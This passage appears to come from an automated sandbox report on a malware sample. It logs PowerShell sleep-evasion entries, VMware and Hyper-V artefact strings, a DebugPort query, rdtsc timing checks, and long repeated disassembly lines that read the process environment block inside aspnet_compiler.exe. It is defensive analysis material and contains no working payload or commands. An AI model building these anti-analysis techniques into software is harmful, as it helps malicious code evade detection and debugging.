                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6068Thread sleep count: 2088 > 30Jump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5376Thread sleep time: -6456360425798339s >= -30000sJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4876Thread sleep time: -16602069666338586s >= -30000sJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 5376Thread sleep time: -30000s >= -30000sJump to behavior
                  Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: powershell.exe, 00000003.00000002.2242163202.0000000004777000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Remove-NetEventVmNetworkAdapter
                  Source: wscript.exe, 00000007.00000002.2232374041.00000000050C0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
                  Source: wscript.exe, 00000007.00000002.2232374041.00000000050C0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\M
                  Source: powershell.exe, 00000003.00000002.2242163202.0000000004777000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Add-NetEventVmNetworkAdapter
                  Source: powershell.exe, 00000003.00000002.2247866665.0000000007E0A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2247720728.0000000007D99000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                  Source: powershell.exe, 00000003.00000002.2247866665.0000000007DB9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW=KzdN
                  Source: powershell.exe, 00000003.00000002.2242163202.0000000004777000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Get-NetEventVmNetworkAdapter
                  Source: powershell.exe, 00000008.00000002.2510668182.0000000007ACA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess queried: DebugPortJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0132D1C0 rdtsc 12_2_0132D1C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_00417883 LdrLoadDll,12_2_00417883
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E0124 mov eax, dword ptr fs:[00000030h]12_2_012E0124
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B1131 mov eax, dword ptr fs:[00000030h]12_2_012B1131
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B1131 mov eax, dword ptr fs:[00000030h]12_2_012B1131
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AB136 mov eax, dword ptr fs:[00000030h]12_2_012AB136
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AB136 mov eax, dword ptr fs:[00000030h]12_2_012AB136
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AB136 mov eax, dword ptr fs:[00000030h]12_2_012AB136
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AB136 mov eax, dword ptr fs:[00000030h]12_2_012AB136
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01370115 mov eax, dword ptr fs:[00000030h]12_2_01370115
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0135A118 mov ecx, dword ptr fs:[00000030h]12_2_0135A118
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0135A118 mov eax, dword ptr fs:[00000030h]12_2_0135A118
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0135A118 mov eax, dword ptr fs:[00000030h]12_2_0135A118
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0135A118 mov eax, dword ptr fs:[00000030h]12_2_0135A118
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01349179 mov eax, dword ptr fs:[00000030h]12_2_01349179
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AF172 mov eax, dword ptr fs:[00000030h]12_2_012AF172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AF172 mov eax, dword ptr fs:[00000030h]12_2_012AF172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AF172 mov eax, dword ptr fs:[00000030h]12_2_012AF172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AF172 mov eax, dword ptr fs:[00000030h]12_2_012AF172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AF172 mov eax, dword ptr fs:[00000030h]12_2_012AF172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AF172 mov eax, dword ptr fs:[00000030h]12_2_012AF172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AF172 mov eax, dword ptr fs:[00000030h]12_2_012AF172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AF172 mov eax, dword ptr fs:[00000030h]12_2_012AF172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AF172 mov eax, dword ptr fs:[00000030h]12_2_012AF172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AF172 mov eax, dword ptr fs:[00000030h]12_2_012AF172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AF172 mov eax, dword ptr fs:[00000030h]12_2_012AF172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AF172 mov eax, dword ptr fs:[00000030h]12_2_012AF172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AF172 mov eax, dword ptr fs:[00000030h]12_2_012AF172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AF172 mov eax, dword ptr fs:[00000030h]12_2_012AF172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AF172 mov eax, dword ptr fs:[00000030h]12_2_012AF172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AF172 mov eax, dword ptr fs:[00000030h]12_2_012AF172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AF172 mov eax, dword ptr fs:[00000030h]12_2_012AF172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AF172 mov eax, dword ptr fs:[00000030h]12_2_012AF172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AF172 mov eax, dword ptr fs:[00000030h]12_2_012AF172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AF172 mov eax, dword ptr fs:[00000030h]12_2_012AF172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AF172 mov eax, dword ptr fs:[00000030h]12_2_012AF172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012A9148 mov eax, dword ptr fs:[00000030h]12_2_012A9148
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012A9148 mov eax, dword ptr fs:[00000030h]12_2_012A9148
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012A9148 mov eax, dword ptr fs:[00000030h]12_2_012A9148
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012A9148 mov eax, dword ptr fs:[00000030h]12_2_012A9148
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01385152 mov eax, dword ptr fs:[00000030h]12_2_01385152
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01348158 mov eax, dword ptr fs:[00000030h]12_2_01348158
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01344144 mov eax, dword ptr fs:[00000030h]12_2_01344144
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01344144 mov eax, dword ptr fs:[00000030h]12_2_01344144
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01344144 mov ecx, dword ptr fs:[00000030h]12_2_01344144
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01344144 mov eax, dword ptr fs:[00000030h]12_2_01344144
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01344144 mov eax, dword ptr fs:[00000030h]12_2_01344144
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B7152 mov eax, dword ptr fs:[00000030h]12_2_012B7152
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AC156 mov eax, dword ptr fs:[00000030h]12_2_012AC156
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B6154 mov eax, dword ptr fs:[00000030h]12_2_012B6154
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B6154 mov eax, dword ptr fs:[00000030h]12_2_012B6154
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013611A4 mov eax, dword ptr fs:[00000030h]12_2_013611A4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013611A4 mov eax, dword ptr fs:[00000030h]12_2_013611A4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013611A4 mov eax, dword ptr fs:[00000030h]12_2_013611A4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013611A4 mov eax, dword ptr fs:[00000030h]12_2_013611A4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012CB1B0 mov eax, dword ptr fs:[00000030h]12_2_012CB1B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01307190 mov eax, dword ptr fs:[00000030h]12_2_01307190
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F0185 mov eax, dword ptr fs:[00000030h]12_2_012F0185
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0133019F mov eax, dword ptr fs:[00000030h]12_2_0133019F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0133019F mov eax, dword ptr fs:[00000030h]12_2_0133019F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0133019F mov eax, dword ptr fs:[00000030h]12_2_0133019F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0133019F mov eax, dword ptr fs:[00000030h]12_2_0133019F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AA197 mov eax, dword ptr fs:[00000030h]12_2_012AA197
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AA197 mov eax, dword ptr fs:[00000030h]12_2_012AA197
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AA197 mov eax, dword ptr fs:[00000030h]12_2_012AA197
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0136C188 mov eax, dword ptr fs:[00000030h]12_2_0136C188
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0136C188 mov eax, dword ptr fs:[00000030h]12_2_0136C188
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D51EF mov eax, dword ptr fs:[00000030h]12_2_012D51EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D51EF mov eax, dword ptr fs:[00000030h]12_2_012D51EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D51EF mov eax, dword ptr fs:[00000030h]12_2_012D51EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D51EF mov eax, dword ptr fs:[00000030h]12_2_012D51EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D51EF mov eax, dword ptr fs:[00000030h]12_2_012D51EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D51EF mov eax, dword ptr fs:[00000030h]12_2_012D51EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D51EF mov eax, dword ptr fs:[00000030h]12_2_012D51EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D51EF mov eax, dword ptr fs:[00000030h]12_2_012D51EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D51EF mov eax, dword ptr fs:[00000030h]12_2_012D51EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D51EF mov eax, dword ptr fs:[00000030h]12_2_012D51EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D51EF mov eax, dword ptr fs:[00000030h]12_2_012D51EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D51EF mov eax, dword ptr fs:[00000030h]12_2_012D51EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D51EF mov eax, dword ptr fs:[00000030h]12_2_012D51EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B51ED mov eax, dword ptr fs:[00000030h]12_2_012B51ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013571F9 mov esi, dword ptr fs:[00000030h]12_2_013571F9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E01F8 mov eax, dword ptr fs:[00000030h]12_2_012E01F8
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013861E5 mov eax, dword ptr fs:[00000030h]12_2_013861E5
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0132E1D0 mov eax, dword ptr fs:[00000030h]12_2_0132E1D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0132E1D0 mov eax, dword ptr fs:[00000030h]12_2_0132E1D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0132E1D0 mov ecx, dword ptr fs:[00000030h]12_2_0132E1D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0132E1D0 mov eax, dword ptr fs:[00000030h]12_2_0132E1D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0132E1D0 mov eax, dword ptr fs:[00000030h]12_2_0132E1D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013851CB mov eax, dword ptr fs:[00000030h]12_2_013851CB
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013761C3 mov eax, dword ptr fs:[00000030h]12_2_013761C3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013761C3 mov eax, dword ptr fs:[00000030h]12_2_013761C3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012ED1D0 mov eax, dword ptr fs:[00000030h]12_2_012ED1D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012ED1D0 mov ecx, dword ptr fs:[00000030h]12_2_012ED1D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137903E mov eax, dword ptr fs:[00000030h]12_2_0137903E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137903E mov eax, dword ptr fs:[00000030h]12_2_0137903E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137903E mov eax, dword ptr fs:[00000030h]12_2_0137903E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137903E mov eax, dword ptr fs:[00000030h]12_2_0137903E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AA020 mov eax, dword ptr fs:[00000030h]12_2_012AA020
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AC020 mov eax, dword ptr fs:[00000030h]12_2_012AC020
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01334000 mov ecx, dword ptr fs:[00000030h]12_2_01334000
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012CE016 mov eax, dword ptr fs:[00000030h]12_2_012CE016
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012CE016 mov eax, dword ptr fs:[00000030h]12_2_012CE016
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012CE016 mov eax, dword ptr fs:[00000030h]12_2_012CE016
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012CE016 mov eax, dword ptr fs:[00000030h]12_2_012CE016
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0132D070 mov ecx, dword ptr fs:[00000030h]12_2_0132D070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01385060 mov eax, dword ptr fs:[00000030h]12_2_01385060
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C1070 mov eax, dword ptr fs:[00000030h]12_2_012C1070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C1070 mov ecx, dword ptr fs:[00000030h]12_2_012C1070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C1070 mov eax, dword ptr fs:[00000030h]12_2_012C1070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C1070 mov eax, dword ptr fs:[00000030h]12_2_012C1070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C1070 mov eax, dword ptr fs:[00000030h]12_2_012C1070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C1070 mov eax, dword ptr fs:[00000030h]12_2_012C1070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C1070 mov eax, dword ptr fs:[00000030h]12_2_012C1070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C1070 mov eax, dword ptr fs:[00000030h]12_2_012C1070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C1070 mov eax, dword ptr fs:[00000030h]12_2_012C1070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C1070 mov eax, dword ptr fs:[00000030h]12_2_012C1070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C1070 mov eax, dword ptr fs:[00000030h]12_2_012C1070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C1070 mov eax, dword ptr fs:[00000030h]12_2_012C1070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C1070 mov eax, dword ptr fs:[00000030h]12_2_012C1070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0133106E mov eax, dword ptr fs:[00000030h]12_2_0133106E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DC073 mov eax, dword ptr fs:[00000030h]12_2_012DC073
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01336050 mov eax, dword ptr fs:[00000030h]12_2_01336050
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0135705E mov ebx, dword ptr fs:[00000030h]12_2_0135705E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0135705E mov eax, dword ptr fs:[00000030h]12_2_0135705E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B2050 mov eax, dword ptr fs:[00000030h]12_2_012B2050
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DB052 mov eax, dword ptr fs:[00000030h]12_2_012DB052
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013760B8 mov eax, dword ptr fs:[00000030h]12_2_013760B8
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013760B8 mov ecx, dword ptr fs:[00000030h]12_2_013760B8
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013480A8 mov eax, dword ptr fs:[00000030h]12_2_013480A8
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B208A mov eax, dword ptr fs:[00000030h]12_2_012B208A
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AD08D mov eax, dword ptr fs:[00000030h]12_2_012AD08D
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E909C mov eax, dword ptr fs:[00000030h]12_2_012E909C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0133D080 mov eax, dword ptr fs:[00000030h]12_2_0133D080
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0133D080 mov eax, dword ptr fs:[00000030h]12_2_0133D080
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B5096 mov eax, dword ptr fs:[00000030h]12_2_012B5096
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DD090 mov eax, dword ptr fs:[00000030h]12_2_012DD090
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DD090 mov eax, dword ptr fs:[00000030h]12_2_012DD090
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B80E9 mov eax, dword ptr fs:[00000030h]12_2_012B80E9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D50E4 mov eax, dword ptr fs:[00000030h]12_2_012D50E4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D50E4 mov ecx, dword ptr fs:[00000030h]12_2_012D50E4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AA0E3 mov ecx, dword ptr fs:[00000030h]12_2_012AA0E3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013360E0 mov eax, dword ptr fs:[00000030h]12_2_013360E0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AC0F0 mov eax, dword ptr fs:[00000030h]12_2_012AC0F0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F20F0 mov ecx, dword ptr fs:[00000030h]12_2_012F20F0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013850D9 mov eax, dword ptr fs:[00000030h]12_2_013850D9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C70C0 mov eax, dword ptr fs:[00000030h]12_2_012C70C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C70C0 mov ecx, dword ptr fs:[00000030h]12_2_012C70C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C70C0 mov ecx, dword ptr fs:[00000030h]12_2_012C70C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C70C0 mov eax, dword ptr fs:[00000030h]12_2_012C70C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C70C0 mov ecx, dword ptr fs:[00000030h]12_2_012C70C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C70C0 mov ecx, dword ptr fs:[00000030h]12_2_012C70C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C70C0 mov eax, dword ptr fs:[00000030h]12_2_012C70C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C70C0 mov eax, dword ptr fs:[00000030h]12_2_012C70C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C70C0 mov eax, dword ptr fs:[00000030h]12_2_012C70C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C70C0 mov eax, dword ptr fs:[00000030h]12_2_012C70C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C70C0 mov eax, dword ptr fs:[00000030h]12_2_012C70C0
